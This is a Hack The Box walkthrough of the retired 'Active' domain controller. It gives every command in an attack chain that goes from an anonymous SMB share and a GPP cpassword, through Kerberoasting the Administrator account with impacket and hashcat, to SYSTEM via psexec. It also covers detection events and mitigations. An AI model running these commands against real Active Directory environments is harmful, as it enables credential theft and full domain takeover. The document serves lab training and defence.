Active
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) |
| OS | Windows Server 2008 R2 SP1 — domain controller for active.htb |
| Difficulty | Easy |
| Approx. time | ~20 min |
| Chain | Anonymous SMB → GPP cpassword → SVC_TGS → Kerberoasting Administrator → psexec → SYSTEM |
flowchart TD A["Anonymous Replication share"] --> B["Groups.xml<br/>cpassword"] B -->|gpp-decrypt| C["SVC_TGS<br/>domain user"] C -->|GetUserSPNs| D["Administrator TGS<br/>RC4"] D -->|hashcat -m 13100| E["Administrator password"] E -->|psexec| F["NT AUTHORITY\SYSTEM on the DC"]
- A non-standard share (
Replication) is readable without authentication and turns out to be a copy of SYSVOL holding a Group Policy PreferencesGroups.xmlwith theSVC_TGSpassword, encrypted with a public AES key. - With that domain user we request a service ticket for the SPN assigned to
Administratorand crack it offline. - With the
Administratorpassword, psexec gives us SYSTEM on the DC. No software is exploited: it is a chain of misconfigurations.
1. Reconnaissance
Section titled “1. Reconnaissance”-
Port scan
What I do:
Ventana de terminal IP=<target_ip>sudo nmap -p- --min-rate 5000 -n -Pn $IP -oG nmap/allportsports=$(grep -oP '\d+(?=/open)' nmap/allports | paste -sd,)sudo nmap -sCV -p$ports $IP -oN nmap/targetedWhat I see:
53/tcp domain Microsoft DNS 6.1.7601 (Windows Server 2008 R2 SP1)88/tcp kerberos-sec Microsoft Windows Kerberos389/tcp ldap Microsoft Windows Active Directory LDAP (Domain: active.htb)445/tcp microsoft-ds3268/tcp ldap (Global Catalog)5722/tcp msrpc Microsoft Windows RPC...Service Info: Host: DC; OS: Windows Server 2008 R2 SP1What I think: DNS + Kerberos + LDAP + Global Catalog means this is a domain controller. I have no credentials, so it is time for anonymous AD enumeration. On a DC, the most likely way in without credentials is SMB (null or guest session), followed by anonymous RPC and LDAP.
Port 5722 (DFSR) points to SYSVOL replication. It is not conclusive, but worth keeping in mind.
Ventana de terminal echo "$IP active.htb dc.active.htb" | sudo tee -a /etc/hosts
2. Initial access: from anonymous to domain user
Section titled “2. Initial access: from anonymous to domain user”-
Enumerate shares with a null session
What I do:
Ventana de terminal nxc smb $IP -u '' -p '' --sharesWhat I see:
(Null Auth:True)ADMIN$ Remote AdminC$ Default shareIPC$ Remote IPCNETLOGON Logon server shareReplication READSYSVOL Logon server shareUsersWhat I think:
Replicationis not a default share and it is the only one readable anonymously. On top of that, the name suggests a copy of SYSVOL, which normally only domain users can read.Why it matters: SYSVOL holds GPOs, logon scripts and Group Policy Preferences. If a copy of SYSVOL is readable anonymously, anyone can read what only authenticated users should see. → Network service enumeration: SMB
-
Download the share and look for credentials
What I do:
Ventana de terminal mkdir loot && cd lootsmbclient //$IP/Replication -N -c 'recurse ON; prompt OFF; mget *'find . -type f | sortgrep -ril "password\|cpassword\|username\|runas" .What I see:
./active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml<User ... name="active.htb\SVC_TGS" ...><Properties action="U" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"userName="active.htb\SVC_TGS" .../></User>What I think: the
Policies/{GUID}/MACHINE/Preferences/layout confirms it is a SYSVOL replica. Acpasswordattribute in a GPP XML file is a recoverable credential. -
Decrypt the
cpasswordWhat I do:
Ventana de terminal gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'# GPPstillStandingStrong2k18Why it works: GPP encrypted passwords with AES-256, but Microsoft published the key in the MS-GPPREF specification, so the encryption protects nothing. MS14-025 (May 2014) removed the option to store passwords in GPP, but it does not delete XML files that already existed. → GPP passwords
-
Validate the credential and get the user flag
What I do:
Ventana de terminal nxc smb $IP -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --sharessmbclient //$IP/Users -U 'active.htb/SVC_TGS%GPPstillStandingStrong2k18' \-c 'cd SVC_TGS\Desktop; get user.txt'What I see:
[+] active.htb\SVC_TGS:GPPstillStandingStrong2k18, noPwn3d!. It is a valid domain user but not an admin. It now has READ onNETLOGON,Replication,SYSVOLandUsers.user.txt→fba0…f784(redacted)
3. Escalation: from domain user to Domain Admin
Section titled “3. Escalation: from domain user to Domain Admin”-
What the domain lets an authenticated user do
What I think: with no shell and a single host, the question is what any authenticated user can do. They can read the directory over LDAP and request tickets from Kerberos. That gives three cheap checks you always run:
Priority Technique Requirement on the victim 1 Kerberoasting The account has an SPN 2 AS-REP roasting DONT_REQ_PREAUTHset3 BloodHound None: ACLs and paths The account name itself (
SVC_TGS) hints at service tickets. That happens a lot on HTB; in a real environment, don’t count on it. -
Look for accounts with an SPN
What I do:
Ventana de terminal impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip $IPWhat I see:
ServicePrincipalName Name MemberOfactive/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htbWhat I think: an SPN assigned to a user account is already a target. If that account is
Administrator, it is the direct path to DA. -
Request the TGS and crack it offline
What I do:
Ventana de terminal impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip $IP \-request -outputfile tgs.hashhashcat -m 13100 tgs.hash /usr/share/wordlists/rockyou.txthashcat -m 13100 tgs.hash --show | awk -F: '{print $NF}'# Ticketmaster1968Why it works: the KDC issues a TGS to any user who requests one for an existing SPN; authorization is checked by the service, not by the KDC. Part of the ticket is encrypted with the NT hash of the account that owns the SPN (RC4 here,
$krb5tgs$23$). You take it away and attack it offline, with no lockouts and no failed attempts left in the logs. → Kerberos attacks: Kerberoasting -
Remote execution as Administrator
What I do:
Ventana de terminal nxc smb $IP -u Administrator -p 'Ticketmaster1968' # → Pwn3d!impacket-psexec active.htb/Administrator:'Ticketmaster1968'@$IPVentana de terminal whoamihostnametype C:\Users\Administrator\Desktop\root.txtnt authority\systemDCWhy it works: with administrator credentials there is nothing to exploit; you just authenticate to a remote execution service. psexec uploads a service binary to
ADMIN$and starts it through the SCM, so it runs as SYSTEM. Alternatives:wmiexec(quieter, runs as the user) orevil-winrmif 5985 is open. → Lateral movement: impacket’s -exec toolsroot.txt→…(redacted)
Progressive hints
Section titled “Progressive hints”It is a DC and you have no credentials. Which service usually shows you something without authentication?
One of the shares is not one Windows creates by default. What does its content look like?
You are a domain user now. Which tickets can any user request, and for which accounts?
Look at the Name column of the accounts with an SPN.
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
AS-REP roasting (GetNPUsers) |
No entries found! |
No account has DONT_REQ_PREAUTH |
| BloodHound | No relevant ACL paths | Kerberoasting already gave direct DA access |
| Trying hashcat’s “candidates” against SMB | STATUS_LOGON_FAILURE ×2 |
It was a misreading; the result was in --show |
Methodology takeaways
Section titled “Methodology takeaways”- Non-standard share with anonymous READ on a DC → download it all and grep it before trying anything else.
- Access to SYSVOL (or a replica) → look for GPP first:
find . -path "*Preferences*" -name "*.xml". CheckGroups.xml,Services.xml,ScheduledTasks.xml,DataSources.xml,Drives.xmlandPrinters.xml. - First domain credential →
GetUserSPNs+GetNPUsersstraight away. They take seconds and make little noise, although they generate 4769/4768 events a SOC can watch for. - When Kerberoasting, prioritize by
MemberOf. An SPN on a privileged account is the direct route. - Validate the cracking result with
--showand check the password policy (--pass-pol) before trying credentials against an AD.
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| Anonymous share read | Event 5140/5145 (share access), if file share auditing is enabled | Remove anonymous/Everyone access; review RestrictNullSessAccess and share permissions |
GPP cpassword |
Search SYSVOL for cpassword (findstr /S /I cpassword \\<domain>\sysvol\*.xml) |
Delete GPP XML files containing passwords, apply MS14-025 and rotate the exposed credentials. Use LAPS for local passwords |
| Kerberoasting | Event 4769 with Ticket Encryption Type 0x17 (RC4) for user accounts, especially in bursts |
Don’t assign SPNs to privileged accounts; use gMSA or passwords longer than 25 characters; enforce AES and disable RC4 (slows cracking down, since AES with -m 19700 is much slower, but does not prevent it: the real defense is a long password or a gMSA) |
| PsExec | Event 7045 (new service installed), 4624 type 3 from an admin account on an unusual host | Admin account tiering; restrict access to ADMIN$; EDR |
References
Section titled “References”- Microsoft Security Bulletin MS14-025 — https://learn.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-025
- [MS-GPPREF] Password encryption (published AES key) — https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be